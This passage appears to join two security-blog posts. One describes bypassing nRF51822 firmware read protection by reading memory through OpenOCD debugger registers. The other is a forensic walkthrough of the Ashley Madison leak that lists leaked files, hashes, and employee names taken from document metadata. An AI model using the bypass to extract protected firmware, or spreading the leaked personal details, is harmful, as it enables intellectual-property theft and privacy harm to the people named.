Put the address we want to read from into r3
Single step (this loads from the address in r3 to r3)
The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses.
Vendor Response
IncludeSec contacted NordicSemi via their customer support channel where they received a copy of this blog post. From NordicSemi customer support: “We take this into consideration together with other factors, and the discussions around this must be kept internal.”
We additionally reached out to the only engineer who had security in his title and he didn’t really want a follow-up Q&A call or further info and redirected us to only talk to customer support. So that’s about all we can do for coordinated disclosure on our side.
Conclusion
Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip’s PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that’s not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way.
The technique described here won’t work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection.
Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments.
So Ashley Madison(AM) got hacked, it was first announced about a month ago and the attackers claimed they’d drop the full monty of user data if the AM website did not cease operations. The AM parent company Avid Life Media(ALM) did not cease business operations for the site and true to their word it seems the attackers have leaked everything they promised on August 18th 2015 including:
full database dumps of user data
emails
internal ALM documents
as well as a limited number of user passwords
Back in college I used to do forensics contests for the “Honey Net Project” and thought this might be a fun nostalgic trip to try and recreate my pseudo-forensics investigation style on the data within the AM leak.
Disclaimer:I will not be releasing any personal or confidential information within this blog post that may be found in the AM leak. The purpose of this blog post is to provide an honest holistic forensic analysis and minimal statistical analysis of the data found within the leak. Consider this a journalistic exploration more than anything.
Also note, that the credit card files were deleted and not reviewed as part of this write-up
———–[Grabbing the Leak]
First we go find where on the big bad dark web the release site is located. Thankfully knowing a shady guy named Boris pays off for me, and we find a torrent file for the release of the August 18th Ashley Madison user data dump. The torrent file we found has the following SHA1 hash.
e01614221256a6fec095387cddc559bffa832a19 impact-team-ashley-release.torrent
After extracting all the files we have the following sizes and
file hashes for evidence audit purposes:
The attackers make it clear they have no desire to bridge their dark web identities with their real-life identities and have taken many measures to ensure this does not occur.
The torrent file and messaging were released via the anonymous Tor network through an Onion web server which serves only HTML/TXT content. If the attacker took proper OPSEC precautions while setting up the server, law enforcement and AM may never find them. That being said hackers have been known to get sloppy and slip up their OPSEC. The two most famous cases of this were when Sabu of Anonymous and separately the Dread Pirate Roberts of SilkRoad; were both caught even though they primarily used Tor for their internet activities.
Within the dump we see that the files are signed with PGP. Signing a file in this manner is a way of saying “I did this” even though we don’t know the real-life identity of the person/group claiming to do this is (there is a bunch of crypto and math that makes this possible.) As a result we can be more confident that if there are files which are signed by this PGP key, then it was released by the same person/group.
In my opinion, this is done for two reasons. First the leaker wants to claim responsibility in an identity attributable manner, but not reveal their real-life identity. Secondly, the leaker wishes to dispel statements regarding “false leaks” made by the Ashley Madison team. The AM executive and PR teams have been in crises communications mode explaining that there have been manyfake leaks.
The “Impact Team” is using the following public PGP key to sign their releases.
Old: Public Key Packet(tag 6)(525 bytes)
Ver 4 - new
Public key creation time - Mon Jul 27 22:15:10 EDT 2015
Pub alg - RSA Encrypt or Sign(pub 1)
RSA n(4096 bits) - ...
RSA e(17 bits) - ...
Old: User ID Packet(tag 13)(36 bytes)
User ID - Impact Team <[email protected]>
Old: Signature Packet(tag 2)(568 bytes)
Ver 4 - new
Sig type - Positive certification of a User ID and Public Key packet(0x13).
Pub alg - RSA Encrypt or Sign(pub 1)
Hash alg - SHA1(hash 2)
Hashed Sub: signature creation time(sub 2)(4 bytes)
Time - Mon Jul 27 22:15:10 EDT 2015
Hashed Sub: key flags(sub 27)(1 bytes)
Flag - This key may be used to certify other keys
Flag - This key may be used to sign data
Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
Sym alg - AES with 256-bit key(sym 9)
Sym alg - AES with 192-bit key(sym 8)
Sym alg - AES with 128-bit key(sym 7)
Sym alg - CAST5(sym 3)
Sym alg - Triple-DES(sym 2)
Hashed Sub: preferred hash algorithms(sub 21)(5 bytes)
Hash alg - SHA256(hash 8)
Hash alg - SHA1(hash 2)
Hash alg - SHA384(hash 9)
Hash alg - SHA512(hash 10)
Hash alg - SHA224(hash 11)
Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
Comp alg - ZLIB <RFC1950>(comp 2)
Comp alg - BZip2(comp 3)
Comp alg - ZIP <RFC1951>(comp 1)
Hashed Sub: features(sub 30)(1 bytes)
Flag - Modification detection (packets 18 and 19)
Hashed Sub: key server preferences(sub 23)(1 bytes)
Flag - No-modify
Sub: issuer key ID(sub 16)(8 bytes)
Key ID - 0x24373CD574ABAA38
Hash left 2 bytes - e3 95
RSA m^d mod n(4096 bits) - ...
-> PKCS-1
Old: Public Subkey Packet(tag 14)(525 bytes)
Ver 4 - new
Public key creation time - Mon Jul 27 22:15:10 EDT 2015
Pub alg - RSA Encrypt or Sign(pub 1)
RSA n(4096 bits) - ...
RSA e(17 bits) - ...
Old: Signature Packet(tag 2)(543 bytes)
Ver 4 - new
Sig type - Subkey Binding Signature(0x18).
Pub alg - RSA Encrypt or Sign(pub 1)
Hash alg - SHA1(hash 2)
Hashed Sub: signature creation time(sub 2)(4 bytes)
Time - Mon Jul 27 22:15:10 EDT 2015
Hashed Sub: key flags(sub 27)(1 bytes)
Flag - This key may be used to encrypt communications
Flag - This key may be used to encrypt storage
Sub: issuer key ID(sub 16)(8 bytes)
Key ID - 0x24373CD574ABAA38
Hash left 2 bytes - 0b 61
RSA m^d mod n(4095 bits) - ...
-> PKCS-1
We can verify the released files are attributable to the PGP public key
in question using the following commands:
$ gpg --import ./74ABAA38.txt
$ gpg --verify ./member_details.dump.gz.asc ./member_details.dump.gz
gpg: Signature made Sat 15 Aug 2015 11:23:32 AM EDT using RSA key ID 74ABAA38
gpg: Good signature from "Impact Team <[email protected]>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 6E50 3F39 BA6A EAAD D81D ECFF 2437 3CD5 74AB AA38
This also tells us at what date the dump was signed and packaged.
———–[Catching the attackers]
The PGP key’s meta-data shows a user ID for the mailtor dark web email service. The last known location of which was: http://mailtoralnhyol5v.onion
Don’t bother emailing the email address found in the PGP key as it does not have a valid MX record. The fact that this exists at all seems to be one of those interesting artifact of what happens when Internet tools like GPG get used on the dark web.
If the AM attackers were to be caught; here (in no particular order) are the most likely ways this would happen:
The person(s) responsible tells somebody. Nobody keeps something like this a secret, if the attackers tell anybody, they’re likely going to get caught.
If the attackers review email from a web browser, they might get revealed via federal law enforcement or private investigation/IR teams hired by AM. The FBI is known to have these capabilities.
If the attackers slip up with their diligence in messaging only via TXT and HTML on the web server. Meta-data sinks ships kids — don’t forget.
If the attackers slip up with their diligence on configuring their server. One bad config of a web server leaks an internal IP, or worse!
The attackers slipped up during their persistent attack against AM and investigators hired by AM find evidence leading back to the attackers.
The attackers have not masked their writing or image creation style and leave some semantic finger print from which they can be profiled.
If none of those things happen, I don’t think these attackers will ever be caught. The cyber-crime fighters have a daunting task in front of them, I’ve helped out a couple FBI and NYPD cyber-crime fighters and I do not envy the difficult and frustrating job they have — good luck to them! Today we’re living in the Wild West days of the Internet.
———–[Leaked file extraction and evidence gathering]
Now to document the information seen within this data leak we proceed with a couple of commands to gather the file size and we’ll also check the file hashes to ensure the uniqueness of the files. Finally we review the meta-data of some of the compressed files. The meta-data shows the time-stamp embedded into the various compressed files. Although meta-data can easily be faked, it is usually not.
Next we’ll extract these files and examine their file size to take a closer look.
$ 7z e ashleymadisondump.7z
We find within the extracted 7zip file another 7zip file
“swappernet_User_Table.7z” was found and also extracted.
We now have the following files sizes and SHA1 hashes for evidence
integrity & auditing purposes:
$ du -sh ashleymadisondump/*
68K 20131002-domain-list.xlsx
52K ALMCLUSTER (production domain) computers.txt
120K ALMCLUSTER (production domain) hashdump.txt
68K ALM - Corporate Chart.pptx
256K ALM Floor Plan - ports and names.pdf
8.0M ALM - January 2015 - Company Overview.pptx
1.8M ALM Labs Inc. Articles of Incorporation.pdf
708K announcement.png
8.0K Areas of concern - customer data.docx
8.0K ARPU and ARPPU.docx
940K Ashley Madison Technology Stack v5(1).docx
16K Avid Life Media - Major Shareholders.xlsx
36K AVIDLIFEMEDIA (primary corporate domain) computers.txt
332K AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
1.7M Avid Org Chart 2015 - May 14.pdf
24K Banks.xlsx
6.1M Copies of Option Agreements.pdf
8.0K Credit useage.docx
16K CSF Questionnaire (Responses).xlsx
132K Noel's loan agreement.pdf
8.0K Number of traveling man purchases.docx
1.5M oneperday_am_am_member.txt
940K oneperday_aminno_member.txt
672K oneperday.txt
44K paypal accounts.xlsx
372K [email protected]_20101103_133855.pdf
16K q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
8.0K README.txt
8.0K Rebill Success Rate Queries.docx
8.0K Rev by traffic source rebill broken out.docx
8.0K Rev from organic search traffic.docx
4.0K Sales Queries
59M swappernet_QA_User_Table.txt #this was extracted from swappernet_User_Table.7z in the same dir
17M swappernet_User_Table.7z
$ sha1sum ashleymadisondump/*
f0af9ea887a41eb89132364af1e150a8ef24266f 20131002-domain-list.xlsx
30401facc68dab87c98f7b02bf0a986a3c3615f0 ALMCLUSTER (production domain) computers.txt
c36c861fd1dc9cf85a75295e9e7bcf6cf04c7d2c ALMCLUSTER (production domain) hashdump.txt
6be635627aa38462ebcba9266bed5b492a062589 ALM - Corporate Chart.pptx
4dec7623100f59395b68fd13d3dcbbff45bef9c9 ALM Floor Plan - ports and names.pdf
601e0b462e1f43835beb66743477fe94bbda5293 ALM - January 2015 - Company Overview.pptx
d17cb15a5e3af15bc600421b10152b2ea1b9c097 ALM Labs Inc. Articles of Incorporation.pdf
1679eca2bc172cba0b5ca8d14f82f9ced77f10df announcement.png
6a618e7fc62718b505afe86fbf76e2360ade199d Areas of concern - customer data.docx
91f65350d0249211234a52b260ca2702dd2eaa26 ARPU and ARPPU.docx
50acee0c8bb27086f12963e884336c2bf9116d8a Ashley Madison Technology Stack v5(1).docx
71e579b04bbba4f7291352c4c29a325d86adcbd2 Avid Life Media - Major Shareholders.xlsx
ef8257d9d63fa12fb7bc681320ea43d2ca563e3b AVIDLIFEMEDIA (primary corporate domain) computers.txt
ec54caf0dc7c7206a7ad47dad14955d23b09a6c0 AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
614e80a1a6b7a0bbffd04f9ec69f4dad54e5559e Avid Org Chart 2015 - May 14.pdf
c3490d0f6a09bf5f663cf0ab173559e720459649 Banks.xlsx
1538c8f4e537bb1b1c9a83ca11df9136796b72a3 Copies of Option Agreements.pdf
196b1ba40894306f05dcb72babd9409628934260 Credit useage.docx
2c9ba652fb96f6584d104e166274c48aa4ab01a3 CSF Questionnaire (Responses).xlsx
0068bc3ee0dfb796a4609996775ff4609da34acb Noel's loan agreement.pdf
c3b4d17fc67c84c54d45ff97eabb89aa4402cae8 Number of traveling man purchases.docx
9e6f45352dc54b0e98932e0f2fe767df143c1f6d oneperday_am_am_member.txt
de457caca9226059da2da7a68caf5ad20c11de2e oneperday_aminno_member.txt
d596e3ea661cfc43fd1da44f629f54c2f67ac4e9 oneperday.txt
37fdc8400720b0d78c2fe239ae5bf3f91c1790f4 paypal accounts.xlsx
2539bc640ea60960f867b8d46d10c8fef5291db7 [email protected]_20101103_133855.pdf
5bb6176fc415dde851262ee338755290fec0c30c q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
5435bfbf180a275ccc0640053d1c9756ad054892 README.txt
872f3498637d88ddc75265dab3c2e9e4ce6fa80a Rebill Success Rate Queries.docx
d4e80e163aa1810b9ec70daf4c1591f29728bf8e Rev by traffic source rebill broken out.docx
2b5f5273a48ed76cd44e44860f9546768bda53c8 Rev from organic search traffic.docx
sha1sum: Sales Queries: Is a directory
0f63704c118e93e2776c1ad0e94fdc558248bf4e swappernet_QA_User_Table.txt
9d67a712ef6c63ae41cbba4cf005ebbb41d92f33 swappernet_User_Table.7z
———–[Quick summary of each of the leaked files]
The following files are MySQL data dumps of the main AM database:
member_details.dump.gz
aminno_member.dump.gz
member_login.dump.gz
aminno_member_email.dump.gz
CreditCardTransactions.7z
Also included was another AM database which contains user info (separate from the emails):
am_am.dump.gz
In the top level directory you can also find these additional files:
74ABAA38.txt
Impact Team’s Public PGP key used for signing the releases (The .asc files are the signatures)
ashleymadisondump.7z
This contains various internal and corporate private files.
README
Impact Team’s justification for releasing the user data.
Various .asc files such as “member_details.dump.gz.asc”
These are all PGP signature files to prove that one or more persons who are part of the “Impact Team” attackers released them.
Within the ashleymadisondump.7z we can extract and view the following files:
Number of traveling man purchases.docx
SQL queries to investigate high-travel user’s purchases.
AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
AVIDLIFEMEDIA (primary corporate domain) computers.txt
The output of the dnscmd windows command executing on what appears to be a primary domain controller. The timestamp indicates that the command was run on July 1st 2015. There is also “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest
Noel’s loan agreement.pdf
A promissory note for the CEO to pay back ~3MM in Canadian monies.
Areas of concern – customer data.docx
Appears to be a risk profile of the major security concerns that ALM has regarding their customer’s data. And yes, a major user data dump is on the list of concerns.
Banks.xlsx
A listing of all ALM associated bank account numbers and the biz which owns them.
Rev by traffic source rebill broken out.docx
Rebill Success Rate Queries.docx
Both of these are SQL queries to investigate Rebilling of customers.
README.txt
Impact Team statement regarding their motivations for the attack and leak.
Copies of Option Agreements.pdf
All agreements for what appears all of the company’s outstanding options.
paypal accounts.xlsx
Various user/passes for ALM paypal accounts (16 in total)
swappernet_QA_User_Table.txt
swappernet_User_Table.7z
This file is a database export into CSV format. I appears to be from a QA server
ALMCLUSTER (production domain) computers.txt
The output of the dnscmd windows command executing on what appears to be a production domain controller. The timestamp indicates that the command was run on July 1st 2015.
ALMCLUSTER (production domain) hashdump.txt
A “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest.
ALM Floor Plan – ports and names.pdf
Seating map of main office, this type of map is usually used for network deployment purposes.
ARPU and ARPPU.docx
A listing of SQL commands which provide revenue and other macro financial health info.
Presumably these queries would run on the primary DB or a biz intel slave.
Credit useage.docx
SQL queries to investigate credit card purchases.
Avid Org Chart 2015 – May 14.pdf
A per-team organizational chart of what appears to be the entire company.
announcement.png
The graphic created by Impact Team to announce their demand for ALM to shut down it’s flagship website AM.
[email protected]_20101103_133855.pdf
Contract outlining the terms of a purchase of the biz Seekingarrangement.com
CSF Questionnaire (Responses).xlsx
Company exec Critical Success Factors spreadsheet. Answering questions like “In what area would you hate to see something go wrong?” and the CTO’s response is about hacking.
ALM – January 2015 – Company Overview.pptx
This is a very detailed breakdown of current biz health, marketing spend, and future product plans.
Ashley Madison Technology Stack v5(1).docx
A detailed walk-through of all major servers and services used in the ALM production environment.
oneperday.txt
oneperday_am_am_member.txt
oneperday_aminno_member.txt
These three files have limited leak info as a “teaser” for the .dump files that are found in the highest level directory of the AM leak.
Rev from organic search traffic.docx
SQL queries to explore the revenue generated from search traffic.
20131002-domain-list.xlsx
BA list of the 1083 domain names that are, have been, or are seeking to be owned by ALM.
Sales Queries/
Empty Directory
ALM Labs Inc. Articles of Incorporation.pdf
The full 109 page Articles of Incorporation, ever aspect of inital company formation.
ALM – Corporate Chart.pptx
A detailed block diagram defining the relationship between various tax and legal business entity names related to ALM businesses.
Avid Life Media – Major Shareholders.xlsx
A listing of each major shareholder and their equity stake
———–[File meta-data analysis]
First we’ll take a look at the 7zip file in the top level directory.
If we’re to believe this meta-data, the newest file is from July 19th 2015 and the oldest is from October 19th 2012. The timestamp for the file announcement.png shows a creation date of July 10th 2015. This file is the graphical announcement from the leakers. The file swappernet_User_Table.7z
has a timestamp of July 9th 2015. Since this file is a database dump, one might presume that these files were created for the original release and the other files were copied from a file-system that preserves timestamps.
Within that 7zip file we’ve found another which looks like:
Within the ashleymadisondump directory extracted from ashleymadisondump.7z we’ve got
the following file types that we’ll examine for meta-data:
8 txt
8 docx
6 xlsx
6 pdf
2 pptx
1 png
1 7z
The PNG didn’t seem to have any EXIF meta-data, and we’ve already covered the 7z file.
The text files probably don’t usually yield anything to us meta-data wise.
In the MS Word docx files we have the following meta-data:
Areas of concern – customer data.docx
No Metadata
ARPU and ARPPU.docx
No Metadata
Ashley Madison Technology Stack v5(1).docx
Created Michael Morris, created and last modified on Sep 17 2013.
Credit useage.docx
No Metadata
Number of traveling man purchases.docx
No Metadata
Rebill Success Rate Queries.docx
No Metadata
Rev by traffic source rebill broken out.docx
No Metadata
Rev from organic search traffic.docx
No Metadata
In the MS Powerpoint pptx files we have the following meta-data:
ALM – Corporate Chart.pptx
Created by “Diana Horvat” on Dec 5 2012 and last updated by “Tatiana Kresling”
on Dec 13th 2012
ALM – January 2015 – Company Overview.pptx
Created Rizwan Jiwan, Jan 21 2011 and last modified on Jan 20 2015.
In the MS Excel xlsx files we have the following meta-data:
20131002-domain-list.xlsx
Written by Kevin McCall, created and last modified Oct 2nd 2013
Avid Life Media – Major Shareholders.xlsx
Jamal Yehia, created and last modified July 15th 2013
Banks.xlsx
Created by “Elena” and Keith Lalonde, created Dec 15 2009 and last modified Feb 26th 2010
CSF Questionnaire (Responses).xlsx
No Metadata
paypal accounts.xlsx
Created by Keith Lalonde, created Oct 28 2010 and last modified Dec 22nd 2010
q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
No Metadata
And finally within the PDF files we also see additional meta-data:
ALM Floor Plan – ports and names.pdf
Written by Martin Price in MS Visio, created and last modified April 23 2015
ALM Labs Inc. Articles of Incorporation.pdf
Created with DocsCorp Pty Ltd (www.docscorp.com), created and last modified on Oct 17 2012
Avid Org Chart 2015 – May 14.pdf
Created and last modified on May 14 2015
Copies of Option Agreements.pdf
OmniPage CSDK 16 OcrToolkit, created and last modified on Oct 16 2012
Noel’s loan agreement.pdf
Created and last modified on Sep 18 2013
[email protected]_20101103_133855.pdf
Created and last modified on Jul 7 2015
———–[MySQL Dump file loading and evidence gathering]
At this point all of the dump files have been decompressed with gunzip or 7zip. The dump files are standard MySQL backup file (aka Dump files) the info in the dump files implies that it was taken from multiple servers:
$ grep 'MySQL dump' *.dump
am_am.dump:-- MySQL dump 10.13 Distrib 5.5.33, for Linux (x86_64)
aminno_member.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
aminno_member_email.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
member_details.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
member_login.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
Also within the dump files was info referencing being executed from localhost, this implies an attacker was on the Database server in question.
Of course, all of this info is just text and can easily be faked, but it’s interesting none-the-less considering the possibility that it might be correct and unaltered.
To load up the MySQL dumps we’ll start with a fresh MySQL database instance
on a decently powerful server and run the following commands:
--As root MySQL user
CREATE DATABASE aminno;
CREATE DATABASE am;
CREATE USER 'am'@'localhost' IDENTIFIED BY 'loyaltyandfidelity';
GRANT ALL PRIVILEGES ON aminno.* TO 'am'@'localhost';
GRANT ALL PRIVILEGES ON am.* TO 'am'@'localhost';
Now back at the command line we’ll execute these to import the main dumps:
$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member.dump
$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member_email.dump
$ mysql -D aminno -uam -ployaltyandfidelity < member_details.dump
$ mysql -D aminno -uam -ployaltyandfidelity < member_login.dump
$ mysql -D am -uam -ployaltyandfidelity < am_am.dump
Now that you’ve got the data loaded up you can recreate some of the findings ksugihara made with his analysis here [Edit: It appears ksugihara has taken this offline, I don’t have a mirror]. We didn’t have much more to add for holistic statistics analysis than what he’s already done so check out his blog post for more on the primary data dumps. There still is one last final database export though…
Within the file ashleymadisondump/swappernet_QA_User_Table.txt we have a final database export, but this one is not in the MySQL dump format. It is instead in CSV format. The file name implies this was an export from a QA Database server.
This file has the following columns (left to right in the CSV):
recid
id
username
userpassword
refnum
disable
ipaddress
lastlogin
lngstatus
strafl
ap43
txtCoupon
bot
Sadly within the file we see user passwords are in clear text which is always a bad security practice. At the moment though we don’t know if these are actual production user account passwords, and if so how old they are. My guess is that these are from an old QA server when AM was a smaller company and hadn’t moved to secure password hashing practices like bcrypt.
These commands show us there are 765,607 records in this database export and
only four of them have a blank password. Many of the passwords repeat and
397,974 of the passwords are unique.
After importing the CSV into MS excel we can use sort and filter to make some
additional statements based on the data.
The only logins marked as “lastlogin” column in the year 2015 are from the
following users:
SIMTEST101
SIMTEST130
JULITEST2
JULITEST3
swappernetwork
JULITEST4
HEATSEEKERS
The final and most recent login was from AvidLifeMedia’s office IP range.
275,285 of these users have an entry for the txtCupon.
All users with the “bot” column set to TRUE have either passwords